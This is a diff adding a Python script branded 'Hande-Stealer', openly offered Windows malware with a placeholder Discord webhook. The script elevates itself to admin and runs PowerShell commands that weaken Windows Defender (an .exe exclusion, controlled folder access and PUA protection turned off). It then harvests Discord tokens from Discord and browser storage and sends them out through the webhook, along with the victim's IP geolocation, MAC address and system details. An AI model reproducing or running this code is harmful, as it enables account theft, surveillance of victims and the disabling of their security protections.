|
| 1 | +import os |
| 2 | +import re |
| 3 | +import platform |
| 4 | +import time |
| 5 | +import requests |
| 6 | +from io import BytesIO |
| 7 | +import json |
| 8 | +from dhooks import Webhook, Embed, File |
| 9 | +from datetime import datetime |
| 10 | +import sys |
| 11 | +import win32com.shell.shell as shell |
| 12 | +from getmac import get_mac_address as gma |
| 13 | +ASADMIN = 'asadmin' |
| 14 | + |
| 15 | +if sys.argv[-1] != ASADMIN: |
| 16 | + script = os.path.abspath(sys.argv[0]) |
| 17 | + params = ' '.join([script] + sys.argv[1:] + [ASADMIN]) |
| 18 | + shell.ShellExecuteEx(lpVerb='runas', lpFile=sys.executable, lpParameters=params) |
| 19 | + sys.exit(0) |
| 20 | + |
| 21 | +os.system("powershell.exe -command Add-MpPreference -ExclusionExtension .exe") |
| 22 | +os.system("powershell.exe -command Set-MpPreference -EnableControlledFolderAccess Disabled") |
| 23 | +os.system("powershell.exe -command Set-MpPreference -PUAProtection disable") |
| 24 | + |
| 25 | + |
| 26 | +hook = Webhook("https://Your Webhook Url") #change this |
| 27 | +embed = Embed( |
| 28 | + description='Hande-Stealer From Swagkarna! :smiley:', |
| 29 | + color=0x5CDBF0, |
| 30 | + timestamp='now' |
| 31 | + ) |
| 32 | +image1 = 'https://avatars.githubusercontent.com/u/79452028?s=460&u=0602f46611611527d9f4147aa67c47fa4b2fe739&v=4' |
| 33 | + |
| 34 | + |
| 35 | +embed.set_author(name='Author : swagkarna', icon_url=image1) |
| 36 | +embed.add_field(name='Github Profile', value='https://github.com/swagkarna') |
| 37 | + |
| 38 | +embed.add_field(name='Youtube', value='https://www.youtube.com/channel/UCszs81OmjgsLzNsgk3f4yxw') |
| 39 | +embed.set_footer(text='Happy Hacking', icon_url=image1) |
| 40 | + |
| 41 | +embed.set_thumbnail(image1) |
| 42 | + |
| 43 | +hook.send(embed=embed) |
| 44 | + |
| 45 | +def find_tokens(path): |
| 46 | + path += '\\Local Storage\\leveldb' |
| 47 | + tokens = [] |
| 48 | + for file_name in os.listdir(path): |
| 49 | + if not file_name.endswith('.log') and not file_name.endswith('.ldb'): |
| 50 | + continue |
| 51 | + for line in [x.strip() for x in open(f'{path}\\{file_name}', errors='ignore').readlines() if x.strip()]: |
| 52 | + for regex in (r'[\w-]{24}\.[\w-]{6}\.[\w-]{27}', r'mfa\.[\w-]{84}'): |
| 53 | + for token in re.findall(regex, line): |
| 54 | + tokens.append(token) |
| 55 | + return tokens |
| 56 | + |
| 57 | +time.sleep(1) |
| 58 | + |
| 59 | +def main(): |
| 60 | + local = os.getenv('LOCALAPPDATA') |
| 61 | + roaming = os.getenv('APPDATA') |
| 62 | + message = '' |
| 63 | + paths = { |
| 64 | + 'Discord': roaming + '\\Discord', |
| 65 | + 'Discord Canary': roaming + '\\discordcanary', |
| 66 | + 'Discord PTB': roaming + '\\discordptb', |
| 67 | + 'Google Chrome': local + '\\Google\\Chrome\\User Data\\Default', |
| 68 | + 'Opera': roaming + '\\Opera Software\\Opera Stable', |
| 69 | + 'Brave': local + '\\BraveSoftware\\Brave-Browser\\User Data\\Default', |
| 70 | + 'Yandex': local + '\\Yandex\\YandexBrowser\\User Data\\Default' |
| 71 | + } |
| 72 | + for platform, path in paths.items(): |
| 73 | + if not os.path.exists(path): |
| 74 | + continue |
| 75 | + tokens = find_tokens(path) |
| 76 | + if len(tokens) > 0: |
| 77 | + for token in tokens: |
| 78 | + message += f'`{token}`\n\n' |
| 79 | + else: |
| 80 | + message += 'No tokens found.\n' |
| 81 | + |
| 82 | + |
| 83 | + hook.send(f'{platform}\n{message}') |
| 84 | + |
| 85 | + |
| 86 | +main() |
| 87 | + |
| 88 | + |
| 89 | +def stealip(): |
| 90 | + |
| 91 | + time = datetime.now().strftime("%H:%M %p") |
| 92 | + ip = requests.get('https://api.ipify.org/').text |
| 93 | + |
| 94 | + r = requests.get(f'http://extreme-ip-lookup.com/json/{ip}') |
| 95 | + geo = r.json() |
| 96 | + embed = Embed() |
| 97 | + fields = [ |
| 98 | + {'name': 'IP', 'value': geo['query']}, |
| 99 | + {'name': 'ipType', 'value': geo['ipType']}, |
| 100 | + {'name': 'Country', 'value': geo['country']}, |
| 101 | + {'name': 'City', 'value': geo['city']}, |
| 102 | + {'name': 'Continent', 'value': geo['continent']}, |
| 103 | + {'name': 'Country', 'value': geo['country']}, |
| 104 | + {'name': 'IPName', 'value': geo['ipName']}, |
| 105 | + {'name': 'ISP', 'value': geo['isp']}, |
| 106 | + {'name': 'Latitute', 'value': geo['lat']}, |
| 107 | + {'name': 'Longitude', 'value': geo['lon']}, |
| 108 | + {'name': 'Org', 'value': geo['org']}, |
| 109 | + {'name': 'Region', 'value': geo['region']}, |
| 110 | + {'name': 'Status', 'value': geo['status']}, |
| 111 | +] |
| 112 | + for field in fields: |
| 113 | + if field['value']: |
| 114 | + embed.add_field(name=field['name'], value=field['value'], inline=True) |
| 115 | + hook.send(embed=embed) |
| 116 | + |
| 117 | + |
| 118 | + |
| 119 | + |
| 120 | + |
| 121 | +def stealmac(): |
| 122 | + y = gma() |
| 123 | + hook.send("Mac Address : ") |
| 124 | + hook.send(y) |
| 125 | +stealmac() |
| 126 | + |
| 127 | +def GetSysInfo(): |
| 128 | + my_system = platform.uname() |
| 129 | + hook.send("System Information : ") |
| 130 | + hook.send(f"System: {my_system.system}") |
| 131 | + hook.send(f"Node Name: {my_system.node}") |
| 132 | + hook.send(f"Release: {my_system.release}") |
| 133 | + hook.send(f"Version: {my_system.version}") |
| 134 | + hook.send(f"Machine: {my_system.machine}") |
| 135 | + hook.send(f"Processor: {my_system.processor}") |
| 136 | + |
| 137 | + |
| 138 | +GetSysInfo() |
| 139 | + |
| 140 | +stealip() |
| 141 | + |
| 142 | + |
0 commit comments